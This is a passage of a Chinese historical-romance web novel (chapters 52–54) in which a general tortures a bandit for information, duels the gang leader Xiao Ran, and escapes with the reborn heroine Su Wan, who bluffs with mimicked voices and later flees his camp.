“爷，属下将贼头擒来了。”晴雷揉搓鼻尖，囔囔地说道。风紧扯呼，他有点着凉。
“拔光他嘴里的牙齿，尤其是那两颗金牙。下手注意些，本将军不想听到一声哀嚎。”
天边破晓，一丝亮白淡入纸窗，映照坐在藤椅里的男人，鬼魅眼眸泛着狠戾凶光，仿佛阎罗现世。
52. 故人
苏绾第一次近距离观摩审讯犯人。
上一世，当她成为名副其实的“疯后”，为泄愤下令将司礼监的一众太监绞杀干净，全权交给御马监提督处理，所谓的“东西二厂”相争，由此落下帷幕。
内厂太监的刑讯逼供手段极其残忍，大名鼎鼎的“红绣鞋”就是东厂司礼监掌印的名作。鉴于苏绾曾于大殿之上受过掌印的视奸侮辱，因此那双烧得红彤彤的铁鞋，最终穿在掌印的脚上。彼时掌印仅哭嚎七声，便昏死过去，当天夜里就断气了。
苏绾恨得咬牙切齿——只受了半个时辰的折磨，忒便宜老鸡婆。
往事不堪回首。
男人注意到苏绾怔愣不动，以为她害怕血腥场面，沉声道：“转过身去，不要看。”
若非形势所迫，他绝不肯在女人面前动用刑罚——虽然就是他三番五次，威胁要抓苏绾进大牢上大刑。
男人向刽子手使了个眼色。
侍卫晴雷自靴内拔出一柄短刀，靴边鹿绒处抹了抹，刀刃雪亮，寒光泼眼。少年明眸一沉，竖起刀俎，指向鱼肉。
风雷飒飒，千钧一发。
不等晴雷动手，“大金牙”嘴里塞着布头，呜呜乱叫，跪地磕头，表示自己服了。
所有人瞬间松口气，包括苏绾在内。
刽子手麻利收刀，一把扯掉布头，眼神时刻警惕。假如犯人胆敢耍诈，他会毫不犹豫抹了对方的脖子。
这就是锦衣卫的觉悟。
大金牙咳嗽几下，连声求饶：“将军饶命！小的早就认出将军，无奈受那毒蛇堂堂主萧染逼迫，不得已才行此下策，还请将军宽恕罪过。”
所谓毒蛇堂，乃江湖漕帮势力之首，专门负责保护漕运，成立已有五十年历史。漕帮原本起源于运河沿线，多驻扎在江浙地区。近几年开始纷纷向内地扩张，蚕食鲸吞地方割据帮派势力，甚至将爪牙延伸至京城繁华地。
毒蛇堂在京发展两年，不仅接手了山匪、水贼等江湖买卖，将其一锅端吞并，还慢慢渗透进地下钱庄、赌场、妓院等一条龙产业，俨然成为京城鬼市龙头老大。
一个月前，原先的堂主被人单挑挑死了，胜利者取而代之，一屁股坐上堂主的交椅，就是现如今的萧染。
萧染其人疯癫成性，手段阴狠毒辣，上任之后，先杀了一批不服从他的手下。方式随性而为，水边遇见的，扔进湖里喂鱼；路上抓住的，推入车轮碾压；散步碰到的，随手放狗啃噬。
闹得江湖人心惶惶，人皆惧怕萧染。
时枫阖目听之，右手敲击藤椅椅臂，“为何追踪本将军？”
大金牙摇头道：“小的不知。萧染只管发号施令，并未向小的解释缘由。”他咋么咋么嘴巴，讨好似的猜测道：“许是要拿将军做投名状，挟将军以令江湖。”
时枫自调遣京卫指挥使来京，不过半年有余，未尝有机会接触当地帮会，无法知晓毒蛇堂的存在。既没有得罪过漕帮，何以被萧染咬住不放？
若论新官上任三把火，萧染拿他当投名状祭天，又有些说不通。官商勾结，原则上不该是商拿好处贿赂官吗？怎得萧染一上来，却是风霜刀剑严相逼？
惹恼了他，有何好处？
男人向前探了探身，左手搭在膝盖处，臂间缠绕绷带十分显眼，渗透的鲜血已风干，呈现棕褐色痕迹。手掌握成拳，又张开，指节发出咔哒声响。
剑眉挺了挺，时枫问道：“你可曾听过，神武将军时樾的名字？”
如被霹雳击中，大金牙猛然一震，低头道：“不、不曾听过。”
“哦？”男人凤眸一凛，瞬间杀气棱棱，“你认得我，却不认识本将军的兄长。”
他缓缓挺直脊背，端正两腿姿势，似在为某项决定做准备，“你觉得我，会不会信你？”
大金牙吓得浑身发抖，哆哆嗦嗦道：“小、小的不敢、敢欺骗将军，果真没、没见过时樾将军。”
“哼，还敢嘴硬。晴雷，掰开他的狗嘴。”男人果断下令。
“是。”晴雷手腕一甩，掌间短刀寒影催命。
刀刃卷着冷风，直喇喇刺入牙口，顺时针搅动一周，霎时无尽血渣伴随齿屑，噗噗喷射出口。
目的既达成，右手迅速收刀，左手捏布头搥进嘴，将满腔热血堵得严严实实，一声哀嚎都不曾发出。
大金牙两眼充盈血泪，嘴巴四周浸透鲜血，汩汩外流。殷红血液滴落褂子，混着崩裂的碎牙，落入腰间红绸子不见。
其中一颗金牙，闪耀金光，蹦落苏绾绣鞋的鞋面，沾染一片血迹，惊得佳人连连跳脚。孰料脚下一滑，跌足摔个趔趄。
“啊……”苏绾失声叫道。
电光火石之间，大手陡然从天而降，捞着纨素拉到膝上，帖耳轻声道：“闭上眼睛。”
雄浑气息扑面而来，苏绾听话地阖合眼眸，两手紧紧扣住男人的束腕，心底似揣着一只玉兔，扑棱扑棱跳不停。可她想了几个来回，也不知道自己究竟是被谁唬破的胆子。
大金牙双手捆绑身后，佝偻身体缩成一团，头壳梆梆敲地。声音过于响亮，恐会引人注意，晴雷上前踏实夯一脚，稳稳踩住他的脑袋。
世界终于安静了。
然而只停了一息，罪犯两眼翻白，似有晕厥迹象，嘴角泛起白沫。看来晴雷那一脚蹬，力度过于大了些。
晴雷心虚地瞄了一眼，见男人峨眉紧蹙，一脸怒容觑着他。侍卫暗暗吐舌头，俯身去够犯人手背，捏指按压犯人拇指内侧合谷穴。
约莫两口茶的工夫，晕厥有所缓解，大金牙慢慢睁开眼。
睁眼即是地狱。
男人凤眸一转，睥睨罪魁祸首，沉沉道：“方才提及萧染时，怎没见你这般嘴硬？看来，萧染对你来说，并不值得你为之冒险抵抗。”
凤眸射出阴鸷冷戾寒光，“一文不值的垃圾，我可没有兴趣。”
大金牙呜呜咽咽，挺尸般横卧地面，嘴角口水流涎。他翻了翻眼皮，竭力点点头。
再狡猾的犯人，面对绝对暴力手段，精神防线也将崩溃坍塌，这也是刑讯逼供的重要意义。
苏绾背靠男人宽阔的胸膛，感受一颗强有力的心脏，稳稳地跳动着。男人身上散发出清冽的雪松气息，此刻闻起来也没有从前那般令人作呕，反倒沁如暖流浸润心田。
奇怪，“冷面阎罗”明明展现恐怖冷血的一面，为何却让她感到不合时宜的轻松与安心？
因为刀子架在敌人脖颈。
她偷偷睁开双眼，看脚下的猎物苟延残喘，感受绝对强者的威压与力量。与上一世做“疯后”相比，多了一份狐假虎威的自信，少了一丝为虎作伥的狂妄。她不敢断言自己向往权力，然而上位者的无上荣耀，依然吸引着她，哪怕过了两世。
苏绾沉浸在幻想中，丝毫没意识到，接下来发生的一切，于她来说究竟包含何种意义。以至于此后相当长一段时间之内，她都恍惚感到，人生不过是一场梦。
大金牙趴伏黄土地，混杂着血渣与污泥，呜呜啦啦讲述事情的真相。若不仔细辨认，很难听清楚所述内容。苏绾听得磕磕绊绊，勉强勾勒出大概轮廓。
两年前，出于某种未知原因，时樾经过一番辛苦探察，顺藤摸瓜，摸索到春月坊，发现银盒。他一路追寻银盒主人的来处，查出黑风寨的寨主大金牙，就是当年倒卖花娘九香的“人伢子”。
凭一杆金枪，时樾英雄孤胆，捣毁半座山寨。大金牙迫于威慑，不得不招供——九香是他十数年前做人伢子时，偷偷从扬州“堕花院”拐来京城，又翻十倍卖给春月坊。
堕花院乃扬州名苑，历史悠久，以培养顶级“瘦马”闻名遐迩。此苑又与别处不同，因背后有高人坐镇指点，生意也比寻常青楼做得大些。瘦马来源五花八门，多数是贫苦家庭出卖女儿，当地官府对此买卖人口勾当，睁只眼闭只眼。
大金牙只当是自己做了一桩血赚的买卖，岁月春秋薄了几遭，此事石沉大海，再也无人提起。过了十多年后，有朝一日被时樾找上门。他将能说的交代一遍，换取自己以及几十山匪性命，守候破破烂烂的黑风寨老巢。
自此时樾南下扬州，着手调查堕花院。又不多久，时樾将军殒命漠北的消息，传遍全国各地。凭借多年走江湖的经验，大金牙从这些蛛丝马迹，敏锐地嗅出危险的味道，自己也许卷入一场派系利益纷争。他开始花重金四处寻求庇护，引来毒蛇堂的干事，黑风寨也被顺利收编。
至于毒蛇堂的“上峰”归属哪方势力，大金牙一无所知。他不过是山脚一捻尘土，根本够不到山巅万缕层云。
又来一个堕花院。
时枫凤眼虚眯，琢磨事情来龙去脉，心底疑窦丛生。不过查个小小花娘的踪迹，不知触及了谁人的利益，竟害得哥哥丢了性命。
“萧染可知情？”男人问道。
大金牙无力地晃了晃脑袋，“就连毒蛇堂旧堂主，小的也未曾
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讲过半句往事，这些人都不可信。”
时枫嗤笑一声，“刀子架在脖子上，轮得到你信不信。”
怀里苏绾如坠五里迷雾。
九香？娘亲？
印象里，娘亲的确是扬州瘦马出身，教了她唱曲说书的技艺，打发行院里那些寄人篱下的无聊日子。
上一世，她陷入后宫争斗不能自拔，每天跟一群太监嫔妃拉扯，朝堂上的是非，皆由温如初把持，她从不过问。据她所知，上一世的绥靖王时枫，将死去兄长和父亲两条人命，全部算到温如初头上，才会有后面的揭竿起义，率领三十万反叛军攻打北京城。
“胡说！”
苏绾从男人怀里挣脱，冲至大金牙跟前，跪在黄泥地，同他据理力争，“空口无凭，你如何证明时樾将军的死亡，与我娘亲有关系？”
大金牙两眼瞪如灯笼，仿佛白日见鬼，嘴巴囫囵不清，“你、你是九香的女儿？”
他忽然想起什么，激动道：“时樾将军曾说过，九香并非寻常人家丢弃的女儿，而是战乱时沦落天涯的俘虏，他还要因此定我一个走私战俘的罪名呐。”
苏绾一愣，娘亲从未提及她自己是俘虏的经历，这究竟是怎么回事？太多的谜团缠绕，令她陷入无尽的迷惘之中。
时枫心里，明镜如水。
据银盒盛放的女书绣帕来看，九香应当就是已覆灭都蛮族王室的遗孤。大金牙所言为实，并无欺瞒。然而这些看似毫无关联的因果关系，并不能推断时樾的死亡。
背后某种暗黑势力，隐藏水面之下。
忽然窗纸天光波动，屋顶尘土坠落，门外脚步声迭起。
糟糕，被发现了。
“先出去。”时枫下令。
据守竹屋死角，只会成为人头靶子，随便扔个火把点燃房屋，都是致命打击。
男人横腰抱起苏绾，迅速找寻有利地形。侍卫晴雷拎起大金牙，短刀逼近喉咙，充做人质。
四人挤出竹屋。
门外挤挤茬茬站满打手，部分是山匪亲信，穿红戴绿为庆祝婚宴；另外一小撮人马估计是毒蛇堂的人，衣着打扮皆清一色黑衣蒙面。
人群中央，萧染披着佛头青杭绸鹤氅，素白手指拢了拢尚未来得及梳洗的长发，脸色铁青，“我好心提供场地，邀请满堂宾客，安排你俩入洞房，就是为了让有情人终成眷属。”
伸展两臂，“这山清水秀吉祥地，这天高云淡皇帝远。做一对神仙眷侣，锦瑟和弦，地老天荒，哪管他日江木流春水。岂不美哉快哉？”
跺脚急嗔，“可是你们，到、底、在、干、嘛？”
细长眼眸溢满惋惜，好似真地在为他人终身大事操劳。
无意中眼角扫过人质大金牙，萧染眨了眨眼，满脸疑惑道：“你们绑他做甚？用来威胁我吗？一只虫子？”
茫然的表情，不像是演的。
然而时枫懒得听他这套疯言疯语，挺直腰板冷声道：“本将军对你太过客气了，导致你产生幻觉，以为自己本事大过天。你若再敢挡我去路，杀无赦。”
后面三个字，杀意无边无际。
滚滚杀意，正对萧染的胃口，白净的脸颊骤然泛起兴奋的红晕，“也罢。天堂有路你不走，地狱无门偏自来。”
他身子一挺，脱掉鹤氅，露出紧实的胸膛，十色蔷薇花背依旧闪光夺目。
“来人呐，把我的耙子拿来。”
一场大战在所难免。时枫屈身放下苏绾，耳边叮嘱：“别动，等我。”声音沉稳有力。
苏绾点点头，“嗯。”
时枫上前抽出晴雷的雁翎刀，“暂借我一用。”
刀刃过手，刀锋划过一道优美弧线，竖刀握在手心，男人凤眸沉了沉。
萧染挥舞九齿钉耙，齿尖金光闪闪，他绕着脖颈调侃道：“装什么英雄救美？让我来给你上一课，教你些做人的基本道理。”
言毕，钉耙呼啸袭来，虎虎生风。
目标却不是时枫。
这一耙，突破所有人的预料防线，磳楞楞敲住人质大金牙的脑壳，大金牙身子抖了抖，扑棱如山倾倒，重重砸向泥土地。数一数，砸扁的天灵盖，正好九个血窟窿，滋滋往外冒血。
“你听好了，我要教你的第一课：永远不要拿虫子吓唬我。”
“所有人，今日都将葬身这黑风寨里。”
萧染细长眼眸卷了卷，嘴角上扬，露出一抹诡异笑意。
53. 空城
雄鸡一唱，天下落白，朦胧破晓寒。
沾染血滴的九齿钉耙，晨光洗礼下寒气缭绕。外观形状甚为古怪，分明是一杆农家锄地的耙子。之前在画舫时，被拿出来应战的是一柄斧头。由此推断，兵器主人的脑子也不是很清醒。
时枫瞥了一眼奇特兵器，嗤笑道：“我竟不知，你这宵小的营生是耕田种地，想必那耙子使其来十分趁手，怎么都舍不得放下。”
萧染抹了抹未绾未束的长发，傲娇道：“我喜欢，你管不着，正好用来敲你的脑壳。”
钉耙挥舞，鹰击长空。
横刀格挡，寒影曝射。
随着山寨寨主被萧染一耙钉死，围观群众自然而然分成两派。
黑风寨的匪徒，叫嚣着为老大报仇；毒蛇堂的打手，眼神充满戒备。双方冲突一触即发。
风中传来萧染无情的命令：“山寨的所有人都得死。”
领头黑衣人扯掉黑色面罩，露出满脸络腮胡，振臂高呼：“兄弟们，给我杀！”
毒蛇堂的打手们一呼百应，纷纷举起武器，刀枪剑戟，斧钺钩叉，场面瞬间爆发。
凡在场之人，无论自愿还是被迫，皆化身点滴力量，投身汇入战斗热潮中。
唯独苏绾和晴雷，处于漩涡中心，茕茕孑立，处变不惊。因他俩立场特殊，原则上不归属任何一方，因此一时也无人顾及。
晴雷紧紧守候苏绾，手里握一柄短刀，二寸来长，没得多大用处，顶多在敌人身体捅几个窟窿眼。然少年眼神专注，时刻保持警惕，好似伺机捕猎的山猫，并随时准备以身躯替主子挡刀子。
苏绾偏着头，眼神故意躲开大金牙的尸身，然眼角仍时不时扫过被耙子生生敲烂的脑壳。她本来还想再多问他几句关于娘亲九香的事迹，已为时晚矣。
死生有命，尘世间枉死的冤魂何其多，不差这一个。
活着的人，却要为生命的存续被迫打拼。
她偷偷扯了扯晴雷的衣角，“你可知马厩在哪？”
少年挺了挺剑眉。
那边时萧二人酣战正浓。
之前在画舫时，萧染不小心中了时枫的计谋，教他水遁得逞，恨得夜半辗转反侧，彻夜难眠。因而这会子武斗十分卖力，耙子耍得虎啸生风，招招阴狠毒辣，几次险些占尽上风。
然而对方也不是好惹的，“冷面阎王”并非浪得虚名，每一式防守密不透风，每一招攻击所向披靡。
倘若执着于正面攻击，萧染的胜算，只有三分。
宜当采取攻心策略。
“萧某奉劝时将军一句，英雄难过美人关，心思堕落温柔脂粉乡，如何保家卫国，净显男儿气概？”萧染阴阳怪气道。
时枫根本不瞧他，“要你管，看刀！”
雁翎刀迎面劈来，沾染拂晓晨露，晶莹闪耀。九齿钉耙死死抵抗，齿尖锋利，宛如野兽钢牙。
萧染接过一个空挡，不死心道：“萧某也是为了将军的名誉着想，强取豪夺温侍郎的未婚妻，全京城都会嘲弄你是奸夫，笑话她是霪妇。”
“将军此举，可对得起为国捐躯的时樾将军？他长眠漠北，也要爬出坟冢，啐上你一口。”
“砰”得一声，刀耙相抵，火花四溅，震聋发聩。
时枫怒道：“你这狗奴，也配提及时樾的名号？”手下刀刃加大力度，狠狠压制敌人。
萧染使尽全力挺举钉耙，背部肌肉偾张，十色蔷薇聚成花束，“我说错了吗？两年前，时樾将军为国出征，漠北勇战匈奴兵马，却被一道调令错误地指向深林，中了敌人埋伏。时樾单枪匹马杀出重围，半路陷入荒漠，被匈奴围剿砍杀。英雄断腕，天意难违。”
那场战役乃军中机密，萧染一介平民怎会知晓？
时枫居高临下睥睨他，凤眸愈加深邃，“故弄玄虚，本将军不吃这套。”
萧染嘴角一斜，露出自信而又狡黠的笑容，“你问我是怎么知道的？哈哈，我知道的，远比你知道的多。“
“你可知，那纸调令是由首辅亲自起草，皇帝金印盖章。而调令的提议者，就是你的结拜好兄弟，温、如、初。”
“借助时樾这份投名状，温如初攀上章阁老这根线，成为其门下走狗。”
“叫你的相好，去温如初书房的抽屉，寻找一封朱印密函，就是他与阁老秘密沟通的铁证。”
“放肆！”时枫怒发冲冠，浑身血液倒流，“我杀了你。”
萧染卷了卷细长眼眸，“杀了我有何用？也换不回来时樾的性命。谁让你有眼无珠，错信小人，招致杀兄之祸。”
“他杀了你的哥哥，你夺了他的发妻。啧啧。”萧染咋么咋么檀唇，“也算扯平了。”
“闭嘴！”
怒火灼烧了男人的理智，时枫忍无可忍，一心置对方于死地。他双手握紧刀柄，左右胡乱劈砍，招式毫无章法，皆被萧染设法闪避。
萧染手中挥舞钉耙，心中暗自得意。人在愤怒至极的时刻，头脑失去冷静判断，下手力度虽然翻倍，准确性则大打折扣。
儿女情长，英雄气短。
想他孑然一身，无牵无挂，生不带来，死不带去。
自然无懈可击。
九齿钉耙空中划过一道铁虹，轰轰然砍向时枫的左臂，正击中伤疤处。钉耙扬起，带动绷带散乱，血条迎风飞舞，肘臂瞬间多了几个血窟窿，不停往外渗血。
时枫左手刀锋一转，奋力向前冲锋。散乱绷带犹如天女绸带，碍了时枫的眼，他用力一扯，生生带下一大块血痂，半条手臂的皮肉不翼而飞。
愤怒麻痹了男人的神经，令他丝毫感觉不到疼痛，也不去管左臂伤势，誓要将萧染活活撕成碎片。
表情狰狞恐怖，好似阎罗现世。
倒把萧染唬得一愣，他蓦然发现，自己好像开了一个不该开的罐子，放出一只恶魔。
雁翎刀刀刀狠准，九齿钉耙勉强拦挡。
慢慢地，萧染感到些微吃力，有些招架不住。
心中纳罕不止。
寻常敌手，被他攻心捶肺之后，往往丧失还击的勇气，甚至举手缴械投降。
这人，怎么跟别人不一样？
“喂，萧某既没杀你的兄长，也没夺你的爱妻。我好心提醒你，何以换得这般狠下死手？”萧染喘着粗气，没好气似的抱怨。
时枫没空回答他，他已化身狂暴野兽，目标咬断猎物的喉咙，吸干他的血液，啃噬他的皮肉。
二十二年生涯，从来没有像今天这般愤怒无能。
温、如、初、害、死、时、樾。
短短七个字，承载了他生命中不能承受之重。
倘若换作别人，随便什么人，他都不会这般难以接受。
因为温如初，可是他鹡鸰在原的兄弟啊。
先前他抢了温如初的未婚妻，心有愧疚，始终觉得对兄弟有所亏欠。而面对苏绾对温如初的恶鬼指控，他也只当是男女之间个人情仇。
如今却不一样了。
在他不知情的情况下，温如初设计害死了他的兄长。
绝对不可饶恕。
男人凤眸燃烧赤红烈焰，浑身肌肉紧绷，青筋暴起，双手握住雁翎刀，纵身一跃而起，空中翻滚两周半，横刀霍霍一抹。
这一刀，抹着萧染的胸膛，尽数划开半身皮肉。
霎时间，一道天命血痕裂断。
九齿钉耙咣当砸地。
萧染单膝跪地，勉强支撑身体，大口大口喘着粗气。
“杀了我。”他乞求道。
“如你所愿。”
凤眸剪尽万世风霜，雁翎刀高高举起。刀锋化作霹雳雷霆，魍魉兼狂风大作，呼号依傍孤城背岭，寒角吹响，英雄断肠。
电光火石之际，远处山巅骏马嘶鸣，栗色宝马踏着风尘，一路奔驰而来。
马背上坐着一位英俊少年，皮肤白嫩如春雪，眉眼俊美若诗画。他的身体微微前倾，双腿牢牢钳住马儿肋下，策马扬鞭，风流俊逸出尘，堪比谪仙堕世。
骏马驾临男人身旁，少年伸出手，星眸闪烁，“快上来，晴雷在山门口等我们。”
时枫诧异地张了张嘴，好似见到不可思议之事，凤眸在少年身上滚了又滚，木然地摇了摇头。
他还有事情没做完。
苏绾急道：“萧染在整座山寨都设置了炸药，一旦你将他杀死，火药引信就会点燃，咱们一个都活不了。”
时枫转头觑了一眼萧染，只见他弓着腰，单膝跪地，胸前血痕不断地渗血。
萧染恰时抬起头，细长凤眸卷了卷，眸底被各种复杂情绪阗满，疑惑、不解、震惊、失望、甚至掺杂一丝被人背叛的愤怒。
时枫转过头，纵身跃上战马，绕过苏绾单薄的身体，大手牢牢抓住缰绳。
两手一拉，马儿扬蹄嘶鸣，踏着滚滚风烟，腾空飞渡，苒苒消失天际。
独留下萧染，迎风空嗟叹。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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风萧萧兮转清，路漫漫兮渐远。
时枫揽着佳人，骑着宝马，马背上下颠簸，心情起伏不定。
苏绾缩在男人怀里，转眼蓦然间发现左臂血肉翻飞，惊得佳人连连疼惜：“怎么伤成这个样子？痛不痛？”
苏绾下意识地翻找衣袖，却未找见那枚六角漆盒，这才想起自己从温府出来时，只裹了一床被子。
“你不是说，你不会骑马？”男人冷冷道。
苏绾心内一凉，差点跌下马。她心虚地猫着腰，缩紧身子，努力彰显自己的渺小。
佳人细声道：“我可没有这样讲过，是你听错了。”停了一息，试探道：“你不是说，你要做我的马夫？那我就不必班门弄斧，跳出来献丑了嘛。”
她撒谎了。
时枫感到心脏被人揪着，牵扯地生疼。短短不过一个时辰，他被生命中最重要的两个人欺骗。
一个害死他的哥哥。
另一个，骗取他的真心。
真是活该。
二人很快来到山门口，一座巨大山峰横亘，前面是万丈深渊，后方是悬崖峭壁，自古天险易守难攻。
晴雷骑着一匹黑马，正在山门口焦急等待，但见栗马奔来，心情大为舒缓。
“爷，你总算来了。咱们从悬崖西边走小路，转向京郊大营，还有二十里地。”
时枫没有搭话，高大身躯摇摇晃晃，肩膀无力地搭靠苏绾后背。刚刚经历一场恶战，精气神已耗尽，只剩一丝神智火花清醒。
苏绾被男人沉重的身躯压着，几乎抬不起头，她佝偻着小身板，呼唤道：“你醒醒呀，萧染很快就会追上来。”
说曹操曹操到。
果然，身后适时响起铺天盖地马蹄声，萧染的追兵，已然临近山门。
晴雷急道：“你们先走，我来拦截。”
时枫睁开一道眼缝，用尽最后的力气，摇手断然拒绝：“不行，要走一起走。”
再这样硬撑下去，他们一个都跑不了。她该怎么办？苏绾咬紧朱唇。
萧染骑着白马，插着双臂迤迤然驾临，佛手青杭绸鹤氅装扮，胸前缠绕白色绷带隐隐欲现。
隔着半壁青山，萧染深情呼唤道：“时将军，你没有退路可走。倘若你跟我求饶，说两句客套话，我可饶你不死，咱们有话好商量。”
时枫啐了一口，“滚，我与你无话可说。”
萧染咬牙道：“敬酒不吃吃罚酒，这是你自己选择的路，别怪我不客气。”
言毕，细长眼眸一沉，宽袖一挥，骑兵蓄势待发。
千钧一发之际，山后方突然响起猎猎马蹄声，似有千军万马奔腾。
紧接着，一队士兵打着口号临近。
一位将领下马，上前拜道：“大理寺卿邵云礼，前来支援京卫指挥使。”
时枫喜道：“你来得正好，毒蛇堂堂主萧染割据一方，霸占黑风寨，屠戮山寨数十条人命。你等助我攻回山寨，将萧染等人一举拿下，交付大理寺候审。”
邵云礼道：“我正有此意。麾下三百士兵，听命京卫指挥使统帅。”
时枫一声令下，“给我冲。”
士兵回应：“是”
山后方尘土飞扬，马蹄声迭起，一场大战在即。
山前方的萧染疑窦丛生：怎得如此巧合，偏赶上大理寺卿前来救援？
他对邵云礼的履历并不陌生——其在时谦麾下做指挥官，与时枫曾是并肩战斗的伙伴。
眼前形势危急，不容他再多犹豫一刻。萧染恨得咬牙切齿，然而于事无补。
“后会有期。”转头驾马匆匆逃离。
风吹云散，雾霭清明，这边众人终于松口气。
哪有什么大理寺卿邵云礼，全都是苏绾弄出来的口技。方才她情急之下，使出浑身解数，模仿时枫和邵云礼的口气，演绎一出“大理寺卿驰援京卫指挥使”的戏码。
模仿惟妙惟肖，以假乱真，唬得晴雷眼睛瞪成葫芦，嘴巴张成碗口。
苏绾竟以一人之力，吓退萧染数十精兵，堪比诸葛孔明之“空城计”，妙哉妙哉。
佳人得意道：“奴家今日表现如何？”
男人笑了笑，“表现不错，本将军奖励你兵营大牢一日游。”
苏绾的笑容，全部僵在脸上。
男人笑容未变，眼中的光渐渐黯淡。末了，抬起无力的右手，向侍卫晴雷打了个手势，将苏绾擒住捆绑，押解京郊兵营。
54. 逃跑
六月初十，天空流火。
京郊城西地区，距离西门约五六十里路程，这里水草丰盈，谷底地势平坦，四周群山环绕，乃守城绝佳位置。
这日里，上无军令下传，兵营一切如常。负责喂马的小旗兵，牵着指挥使的那匹名为“踏月”的银色汗血宝马，优哉悠哉在草地吃草。
此马通体银白，行姿矫健，日行千里，夜行八百，性子孤傲高贵，寻常人等根本不能近身。
听且仅听从指挥使的指令，就连小旗兵想要喂它，也得顺毛拍马屁拍上一阵，才肯高傲地屈尊吃上两口。
喂食草料也是极为挑剔，只吃干净的苜蓿，豆秸，外加一把胡萝卜。
这会子，不知出于何种缘故，踏月居然愿意跑出来啃干涩的草皮，令小旗官大为惊诧。
他用马刷轻轻摩挲马鬃，口中喃喃道：“踏月啊踏月，吾何日才能威武飒飒如将军乎？”
踏月根本不理睬他，低头悠闲吃草。
细风送来丝丝松香气息，马鼻陡然皱了皱，踏月抬起马首，警醒地瞭望远方。
紧接着，撒开马蹄狂奔，惊得小旗官连连跺脚呼叫：“快回来！”
踏月向着风眼处一路疾驰，不多时，眼前地平线处，浮现几许身影。
侍卫晴雷牵着两匹瘦马，蹀躞而至。
马背各驮一具人身。
小旗官慌慌张张追随踏月，浅草没了马蹄，也吞没他的靴，浸湿鞋底。
走近一看，其中一人昏迷，左手臂血肉模糊，血迹已干涸，惊得小旗官顿时浑身汗毛竖立，“将、将军！”
晴雷斥道：“莫吵，扶爷回营。”
小旗官连忙上前扯黑马的缰绳，踏月马蹄兀自横在面前，低头晃了晃马首，意思是它要带主人回家。
小旗官不敢跟踏月拉扯，遵循踏月的指示，将时枫扛着送到踏月的背上。
踏月叩了叩马蹄，扬起马首，轻轻嘶鸣一声，仿佛在告诉主人：我要出发了。
化作一道霹雳，隐没天际不见。
小旗官回首望着另一匹棕马，马背上驮着一位手脚捆缚的少年。
小旗官好奇问道：“奸细？”
晴雷瞟了他一眼，“不该问的别问！爷有令，押入爷的私人营帐，不许任何人接近。”
小旗官吞了口唾沫，“是。”
日落月升，星河耿耿，兵营篝火狐鸣。
“斩发如斩首，你当谨记这个教训。”
时枫缓缓睁开眼眸，梦里浮生，断肠睽离。心窝处隐隐作痛，剖心刮骨，刻骨铭心，远远大过手臂的皮肉伤痛。
帐外晴雷低声道：“爷你醒了？大理寺的邵大人飞鸽传书。”
时枫坐起身，披上玄色竹月纹外氅，伸手接过纸条。
“瞧你干的好事。”
纸条开头，醒目的六个大字占据小半纸张。笔者极尽揶揄嘲讽，就差破口大骂。
据他所言，京城之内，一夜之间变天。
温侍郎家里遭了歹匪绑架，未婚妻被人掳走，京城九道城门提早关闭，巡城兵马司满大街搜捕贼寇，闹得百姓人心惶惶。然而搜查一整夜，也未能逮住贼匪。驻守西门的城门郎曾开门放走人马，兵马司紧急逮捕城门郎，将其关进大牢。
顺天府府尹刘大人，派人查封了苏郎中的家门，不许任何人出入。苏郎中震惊，四处递帖子求人，竟还递到了户部，被温侍郎严词驳回。
温侍郎捉不到贼匪，特求京卫指挥使时枫援助，亲自登门拜访。岂知时府人去楼空，唯有客居府上的福建都指挥使沈恪，彼时被温侍郎问了七八个来回，老将军皆摇首叹息。
另早朝时，司礼监宣读温侍郎弹劾镇南王，圈地侵占土地等行径的奏章，圣上龙颜震怒，当庭质问镇南王可有此事。镇南王赧然无法应对，圣上擢其上缴宅基地图以查证。
镇南王遂状告温侍郎绑架王府御猫，意图威胁勒索他。两人当庭你一言我一语，吵得不可开交。因牵扯到御猫，圣上视听受阻碍，暂不能裁断，将两案全部丢给司礼监调停。
时枫放下信笺，心里百感交集。
不多久，温如初就会查到他的头上来，到时候人赃并获，叫他吃不了兜着走。
然他有备而来。
时枫命人准备笔墨，执管书就回信一封。
信笺一开头，四个朱批大字醒目：“我怎么了？”
“不就是回营休整，检阅军威？碍到谁了不成？一切尽在掌握中，你不必庸人自扰之。”
“我一路追踪画舫一案，今有重大发现：主谋萧染，实为漕帮毒蛇堂堂主，他洗劫黑风寨，抢夺财物，将全寨包括寨主在内五十余性命屠戮殆尽。我与萧染大战三百回合，身负重伤杀出血路，得以逃出生天。顺便搭救山寨关押民间掳掠的百姓，其中一人与苏郎中家的女儿模样一致。邵大人若有兴趣，可前来兵营提人。”
京师京营，又称三大营，包括五军营、三千营和神机营。
五军营是骑兵和步兵混合体，军士除来自京师卫军外，又调地方部队加入，担任攻击的主力。
三千营最早由三千匈奴骑兵组成，后不断扩大队伍，担任突击部队角色。
神机营，因用兵交址，得火器法，立营肄习而名。掌火铳、火炮、火绳枪等神机炮火器。
京营并不直接掌管皇帝的宿卫，另专设十二卫为皇帝亲军，除锦衣卫中专理刑名的镇抚司外，从制度上均属兵部，编制隶属于京营。
京营内卫京师，外备征战，是朝廷最精锐的野战部队。
时枫得以调任京卫指挥使一职，不全是因为他骁勇善战、战功赫赫。他的父亲绥靖王时谦，曾奉先帝指令，一手创建京师三大营。今时枫得受父亲庇荫，临危受命，掌管京师京营，统帅三万驻兵。
甭管他捅出天大的篓子，只要兵权在手，这京城的天，由他说了算。哪怕对方领了圣旨讨伐他，他也不会皱一下眉头。
北京城内，他是拥兵自重的王。
然而这位王者，察觉到一丝危险的气息。
来路不明的萧染，竟掌握朝廷军机秘要，不但对他的行踪了如指掌，而且还揭露时樾被人陷害的真相。
果真是温如初害死时樾吗？
动机是什么？
据萧染所说，时樾是温如初立下的投名状，为了取得内阁的支持，从而顺利爬上户部侍郎的职位。
但有一点不通。
朝廷为何采纳温如初的倡议，致时樾于死地？
还是说，朝廷本就有此意，温如初不过是侥幸猜中圣意？
时枫不敢再深思下去。
他将这份疑虑，全部以密文形式告知邵云礼。
下一步，就看他怎样唱这出戏码。
正筹措之际，忽然士兵来报：看守的奸细跑了。
那个疯婆娘！
他还未收拾心情审问她，她倒先跑了，岂有此理。
男人凤眸一凛，即命人更衣，他要亲自追捕奸细。
弦月冷翻弦，沙场烽火狼烟。
苏绾自被带入营帐后，左思右想，越想越觉得自己没有退路。
倘若被对方察觉自己来路不明，一口咬定她是妖女，将她吊在城门楼上活活烧死，可怎么办？
